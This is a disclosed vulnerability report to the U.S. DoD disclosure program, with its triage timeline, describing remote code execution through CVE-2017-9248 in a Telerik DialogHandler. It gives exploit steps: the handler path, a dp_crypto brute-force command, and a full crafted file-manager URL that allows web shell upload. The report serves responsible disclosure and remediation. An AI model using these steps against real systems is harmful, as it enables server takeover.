1

RCE on https://[redacted]/ Using CVE-2017-9248

Share:

State	○ Resolved (Closed)
Disclosed	**October 11, 2019 12:42am +0530**
Reported To	**U.S. Dept Of Defense**
Weakness	Cryptographic Issues - Generic
Severity	Critical (9 ~ 10)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

warsong submitted a report to U.S. Dept Of Defense. Feb 6th (8 months ago)

Summary:
https://[redacted]/ is hosting an unpatched version of the Telerik DialogHandler Telerik.Web.UI.DialogHandler.aspx allowing for the machine key to be brute forced. The machine key can be used to access the DNN file manager to upload arbitrary files including ASPX giving a web shell and RCE.

Description:
Telerik has a known cryptographic weakness in older versions of the Dialog Handler which when exploited can be used to brute force the machine key and gain access to the DNN file manager. The file manager allows for ASPX shell upload and RCE.

Step-by-step Reproduction Instructions
Hit https://[redacted]/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx and notice the handler dialog message.
Download https://github.com/bao7uo/dp_crypto to make brute force simple and run:
python dp_crypto.py -k https://[redacted]/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx 88 all 21

Wait for the script to finish and the key will be integrated into a link to the file manager for DNN.
You can use this link to upload arbitrary files to DNN. I uploaded a PNG for proof but ASPX works just as well here. I had to do a little trial and error on this one, it uses the ASCII character set and figuring out a key length of 88 took a little doing but going longer than the real key causes the base64 to start validating again from the beginning so in a test of 128 key length I was able to see the key repeat at the 89th position.

https://[redacted]/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx?
DialogName=DocumentManager&renderMode=2&Skin=Default&Title=Document%20Manager&dpptn=&isRtl=false&dp=HBJ/KxQ5LRscHB8EL
SgfLDIsMUYUZxs2HAchCS1mEEYfLTIlLCoDGwJaCCszEhxzF2YULSsCIUsCLDY+Nj0MQQAoIiMtEyFyGBMbTixmJQIAPgBPAwYIVRcoMi8fA2QeFxMDW
hUSAzkIMwdcGAMYcCwtMQAvExNZNhc5dxYTLQ0XOS09HRMYOilnA3IaKB9EFC0yPgY9YFkXOCIFFhMUPRcGIgMCdBwDGyIpCzNje1YbAgxzLBwYB
BsMGwAVFiYNHS05RBRKJhQbPV9DAWULWQsMC1ouAhcfKSIIKzl4fzkBdgQ8KxIcQgMpHBMfBypFFFofex8QGAEvOBMTLHcDci8tIRQLFm9RFAME
MSwDYA0BAQtZLQ0fFh0vBEMbeAB0FD4TNBcMLWMxEzlGFhMHMCw9IisEZyZ1F2MuAhYSMUsUORM/Hi4QRQMvPTUCABgKL2cbEix3OQIUIjkIM2
MIbBcdGCwBEQ8fLwwfXQMBEAkeWxNAL3ccBi0HXkktZhNMA2Z4RSsDAwIpLBg+M2YQMxd3ADwZDSVGFD9RLzA9DEEfBhwxLHY5NAAWIk0YXTlY
KUspEDUWVUcCAxg6KQMABAAHKVAtEhxPBC0PRh1kPg8tWykILwNwYDBnF1ouBy0wFD0iPQsGPTkBdQwtLQ0HXQFaMnM2LQ9LLwYcMR0DAC8v
EmwULQEXXCk9DAsDPHtOLXcfMAAXIkAZAxdEFXYHEgtZHEMfXQw2LVgyCQMXPVQELhMAGSgPOR0+LhILAjIvLl06NwMuG0EXPRwxCFoLXhcGNj
cuHD43L2dhDxx3OVwvPVIWBxlRShQQfysvAwAEHykXQix3BAkcKDFnHwEQPxkGDzEtEwMAHAIpURl0OUYbBgw1NQMAGxheFC4dPyUEGi0QFDEs
NWooIwAjAgFZdRQ4YCkrZxxNKDIbNTBgdw8ZEQQUKRIlLwMQE2QZdQtLBj0tWy93BDcbBCUgGGctBwU6LQMVdQ8/GwQUJgYQOjQUaD10GAM5
aR0yMhAEPS1IHj4AIy0DIjIZOxcTA1oEARktGzo0FAwIAA0iDiw4E0QZHD0CFXQUAAcFB1sedhBwGQY2AioCNWwEPgNaLREPDRkvFAQEAhgbHI4YLRI
1fHwZBgw0BD0QSyksIisuLi5zGQIlPSxmOWwbLiUoAxRoRBopLggsEWUOGBAQBh4SKQkzWC1+KWcydS8yJQkUAgtZMBMXWisDOQEvAyIACAIyOR
djIT8DABNZLCIqKw==

https://[redacted]/GSP.png

Product, Version, and Configuration (If applicable)
Telerik <= 2017.1.118

Suggested Mitigation/Remediation Actions
Patch Telerik or switch to a different editor like CKEditor.

Impact

Critical: Exploitation allows for a web shell, defacement, etc through arbitrary unrestricted file uploads.

BOT: U.S. Dept Of Defense posted a comment. Feb 6th (8 months ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

ag3nt-z3 updated the severity to Critical. Feb 7th (8 months ago)

ag3nt-z3 changed the status to ○ **Triaged**. Feb 7th (8 months ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

ag3nt-z3 closed the report and changed the status to ○ **Resolved**. Apr 25th (6 months ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

warsong requested to disclose this report. Apr 27th (6 months ago)

@ag3nt-z3 think this would be a cool one to disclose if your team agrees.

agent-1 agreed to disclose this report. Oct 11th (16 hrs ago)

disclosure approved

This report has been disclosed. Oct 11th (16 hrs ago)